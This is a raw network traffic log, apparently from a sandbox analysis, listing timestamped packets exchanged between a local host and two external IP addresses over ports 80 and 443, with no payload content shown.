Oct 30, 2024 15:59:40.995013952 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995023966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995032072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995049000 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995089054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995162964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995174885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995187044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995203972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995209932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995233059 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995261908 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995276928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995333910 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995367050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995378971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995397091 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995404959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995407104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995425940 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995439053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995511055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995523930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995537043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995556116 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995578051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995637894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995650053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995662928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995676041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995678902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995702982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995728970 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995770931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995858908 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995871067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995882988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995903969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995944977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.995976925 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996011972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996032000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996078014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996129036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996140957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996153116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996165037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996176958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996179104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996191978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996203899 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996206045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996221066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996225119 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996244907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996279955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996402025 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996414900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996464014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996562958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996581078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996592999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996604919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996618032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996620893 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996630907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996635914 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996645927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996651888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996658087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996682882 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996707916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996881962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996892929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996906042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996917963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996927977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996931076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.996956110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.996988058 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997111082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997128010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997138977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997153997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997164965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997169018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997194052 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997209072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997395992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997407913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997420073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997433901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997435093 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997448921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997457981 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997461081 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997473955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997478008 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997487068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997505903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997509003 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997526884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997529030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997541904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997554064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997565031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997584105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997601986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997803926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997816086 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997828007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997850895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997864962 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.997946024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997957945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997970104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.997986078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.998009920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.998013020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.998025894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.998038054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.998051882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.998061895 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.998065948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.998078108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.998109102 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.037404060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.037472963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.037497044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.037507057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.037518024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.037554026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.037569046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.044397116 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.052092075 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.052124977 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.052876949 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.052881956 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.094997883 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.105068922 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.105113983 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.105828047 CET	49796	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.105843067 CET	443	49796	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.110559940 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.110585928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.110598087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.110620975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.110652924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.110692978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.110704899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.110717058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.110733032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.110745907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.110785007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.110836029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.110850096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.110862970 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.110887051 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.110907078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111008883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111021042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111032963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111043930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111054897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111058950 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111067057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111078978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111078978 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111088991 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111095905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111109018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111136913 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111222982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111236095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111253023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111263037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111264944 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111274958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111299992 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111325026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111382008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111392021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111402988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111416101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111426115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111433983 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111442089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111449003 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111460924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111500978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111529112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111573935 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111589909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111601114 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111639977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111651897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111661911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111665964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111674070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111675978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111701965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111727953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111777067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111788034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111799002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111810923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111824036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111824036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.111849070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.111864090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112045050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112056017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112066984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112081051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112092018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112093925 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112104893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112112999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112118006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112137079 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112174034 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112232924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112261057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112272024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112272978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112284899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112296104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112298012 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112308979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112312078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112320900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112334967 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112364054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112448931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112461090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112472057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112485886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112495899 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112520933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112552881 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112575054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112588882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112615108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112629890 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112689972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112703085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112714052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112726927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112740993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112761021 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112804890 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112838984 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112850904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112862110 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112878084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112890005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112898111 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112900972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112915039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112920046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112930059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.112943888 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.112972021 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113115072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113126993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113164902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113285065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113295078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113308907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113333941 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113334894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113347054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113358974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113362074 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113372087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113384008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113385916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113395929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113408089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113419056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113419056 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113432884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113435030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113460064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113480091 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113660097 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113672018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113682985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113697052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113706112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113709927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.113724947 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.113775969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.153017044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.153033972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.153045893 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.153057098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.153110981 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.153160095 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.184509993 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.184562922 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.184650898 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.184883118 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.184901953 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.184931040 CET	49795	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.184936047 CET	443	49795	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.188721895 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.188750982 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.188980103 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.189152002 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:41.189162970 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:41.226021051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226046085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226058960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226102114 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226136923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226150990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226157904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226180077 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226185083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226188898 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226197958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226239920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226294994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226308107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226320028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226330996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226335049 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226351976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226368904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226511002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226522923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226536036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226547956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226552963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226577997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226588964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226599932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:41.226607084 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:41.226632118 CET	49716	80	192.168.2.6	185.215.113.206
